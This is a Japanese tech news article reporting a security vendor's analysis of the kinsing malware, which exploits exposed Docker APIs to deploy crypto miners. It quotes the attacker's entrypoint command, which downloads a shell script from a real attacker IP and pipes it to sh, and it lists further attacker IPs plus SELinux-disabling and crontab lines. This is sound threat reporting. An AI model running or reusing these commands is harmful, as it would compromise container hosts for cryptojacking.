ニュース
» 2020年04月15日 10時00分 公開

クラウドネイティブ環境にも危険あり:コンテナを標的にしたマルウェア、Aqua Security Softwareが攻撃手法を解説

Aqua Security Softwareは、コンテナ環境を標的にした「kinsing」マルウェア攻撃の脅威について、レポートを発表した。Docker APIポートの設定ミスにつけ込み、多数のコンテナに感染しながら、仮想通貨の発掘を試みる攻撃だ。クラウドネイティブ環境では何に気を付ければよいのかもまとめている。

[@IT]

この記事は会員限定です。会員登録(無料)すると全てご覧いただけます。

 Aqua Security Softwareは2020年4月3日(米国時間)、コンテナ環境を標的にした「kinsing」マルウェアによる攻撃の脅威について解説したレポートを発表した。

 同社はコンテナ向けのセキュリティ対策製品などを手掛け、企業によるクラウドネイティブアプリケーションやインフラのセキュリティ確保を支援する企業だ。

 同社によると、コンテナ環境を狙った攻撃がこのところ増加しているという。中でも、誤って構成されたオープンDocker Daemon APIポートを標的にした攻撃キャンペーンが目立つ。数カ月にわたってキャンペーンが継続しており、かつてない高頻度となっている。同社はこの攻撃が、攻撃実行に必要な大規模なリソースとインフラを有する攻撃者によって、計画的に行われていると結論付けている。

2019年12月から2020年3月までの1日当たりの攻撃回数(出典:Aqua Security Software

 Aqua Security Softwareの分析によれば、攻撃者は「kinsing」マルウェアを使い、誤って構成されたDocker Daemon APIポートを悪用してUbuntuコンテナで実行する。その後、kinsingマルウェアが自身のコピーを他のコンテナやホストに拡散しようとすることを突き止めた。最終的には仮想通貨を発掘するクリプトマイナーがコンテナ内に配置される。

どのように攻撃が始まるのか

 今回見つかった攻撃の仕組みに関する同社の分析は次の通りだ。

 攻撃者は、保護されていないオープンDocker APIポートを悪用し、Ubuntuコンテナを次のエントリーポイントでインスタンス化する。

/bin/bash -c apt-get update && apt-get install -y wget cron;service cron start; wget -q -O - 142.44.191.122/d.sh | sh;tail -f /dev/null

 このエントリーポイントは、この攻撃で常に使用されていた。攻撃ごとに違っていたのは「d.sh」がダウンロードされるIPアドレスだけだった。例示したIPアドレスの他、「217.12.221.244」と「185.92.74.42」というIPアドレスが使われていた。

 例示したコマンドは、次のような一連の処理を実行する。

  • 「apt-get update」コマンドでパッケージを更新する
  • 「apt-get」コマンドで「wget」コマンドをインストールする
  • 「cron」サービスを開始する
  • インストールしたwgetコマンドでシェルスクリプトをダウンロードする
  • シェルスクリプトを実行し、/dev/nullから際限なく読み取りを実行し、コンテナの動作を維持する

 特徴的なのはwgetコマンドでconシェルスクリプトをダウンロードしている点だ。このシェルスクリプトは後ほど、コンテナ内で永続性を獲得するために使われる。

セキュリティ防御を回避し、永続性を確保する

 d.shという名称のシェルスクリプト(以下、シェルスクリプト)は、600行以上あり、次の7段階の内容を実行する。

  1. セキュリティ対策を無効にし、ログを消去する(echo SELINUX=disabled >/etc/selinux/config)
  2. 多数のアプリケーション、特に他のマルウェアとクリプトマイナーを強制終了する
  3. 他のマルウェアやクリプトマイナーに関連するファイルを削除する(主に/tmpディレクトリから)
  4. 実行中の競合する悪意あるDockerコンテナを強制終了し、それらのイメージを削除する
  5. kinsingマルウェアをダウンロード後、実行する
  6. crontabを使って、1分ごとにシェルスクリプトをダウンロードして実行する
  7. cronで実行されている他のコマンドを探し、見つかったら、自身を含む全てのcronジョブを削除する。攻撃者がこの処理を選んだ理由は不明だが、シェルスクリプト内の次の行では、説明した通りの処理を行う
crontab -l | sed '/update.sh/d' | crontab -

マルウェアを実行する

 Aqua Security Softwareが分析のためにkinsingをマルウェア検査サイト「Virus Total」に提出したところ、kinsingは同サイトによってLinuxエージェントと特定された。

Virus Totalの判定結果(出典:Aqua Security Software

 kinsing内の文字列から、このマルウェアはGo言語で記述されており、次のようなGoライブラリを使用することが分かった。

  • go-resty:HTTPとRESTのクライアントライブラリ。コマンド&コントロール(C&C)サーバとの通信に使う
  • gopsutil:プロセスユーティリティーライブラリ。システムとプロセスの監視に使う
  • osext:標準の「os」パッケージの拡張版。バイナリの実行に使う
  • diskv:ストレージ用のディスクバックアップされたキーバリューストア

C&Cサーバとの通信を始める

Copyright © ITmedia, Inc. All Rights Reserved.

RSSについて

アイティメディアIDについて

メールマガジン登録

@ITのメールマガジンは、 もちろん、すべて無料です。ぜひメールマガジンをご購読ください。